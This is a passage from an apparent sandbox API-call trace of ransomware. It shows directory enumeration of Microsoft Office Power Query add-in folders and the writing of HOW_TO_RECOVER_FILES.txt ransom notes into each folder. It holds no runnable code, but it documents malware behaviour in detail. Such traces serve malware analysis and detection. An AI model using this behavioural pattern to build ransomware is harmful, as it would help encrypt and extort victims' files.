lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf00d5872, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00d5872, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0215.132] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf8f7076d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf8f7076d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99462e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0215.132] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.132] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0215.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0215.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0215.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0215.133] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv", lpFilePart=0x0) returned 0x68 [0215.133] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0215.134] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.134] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x59f29de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0215.134] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffddb96c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffddb96c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffddb96c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0215.135] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf00d5872, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00d5872, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0215.135] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf8f7076d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf8f7076d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99462e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0215.135] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf8f7076d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf8f7076d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99462e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0215.135] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0215.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0215.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0215.136] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0215.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0215.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lv\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x820 [0215.536] GetFileType (hFile=0x820) returned 0x1 [0215.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0215.536] GetFileType (hFile=0x820) returned 0x1 [0215.760] WriteFile (in: hFile=0x820, lpBuffer=0x35d65d8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x35d65d8*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0215.761] CloseHandle (hObject=0x820) returned 1 [0215.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0215.764] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms", lpFilePart=0x0) returned 0x68 [0215.765] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0215.766] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.766] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a2a905, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a2a905, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0215.766] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x26aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0215.766] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbe60d8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbe60d8f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbe60d8f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x31040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0215.766] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd6924a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x88aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0215.766] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.766] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0215.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0215.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0215.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0215.767] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms", lpFilePart=0x0) returned 0x68 [0215.767] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0215.768] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.768] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a2a905, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a2a905, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0215.768] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x26aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0215.768] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbe60d8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbe60d8f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbe60d8f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x31040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0215.769] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd6924a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x88aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0215.769] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd6924a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x88aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0215.769] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0215.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0215.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0215.770] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0215.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0215.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ms\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x820 [0215.788] GetFileType (hFile=0x820) returned 0x1 [0215.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0215.788] GetFileType (hFile=0x820) returned 0x1 [0215.789] WriteFile (in: hFile=0x820, lpBuffer=0x35e9e98*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x35e9e98*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0215.790] CloseHandle (hObject=0x820) returned 1 [0215.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0215.790] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl", lpFilePart=0x0) returned 0x68 [0215.790] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0215.791] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.791] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0215.791] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc34bb5b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc34bb5b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc34bb5b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0215.792] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b61d36, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0215.792] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0822be8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0822be8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8daa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0215.792] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.792] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0215.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0215.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0215.793] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0215.793] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl", lpFilePart=0x0) returned 0x68 [0215.793] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0215.794] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.794] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, 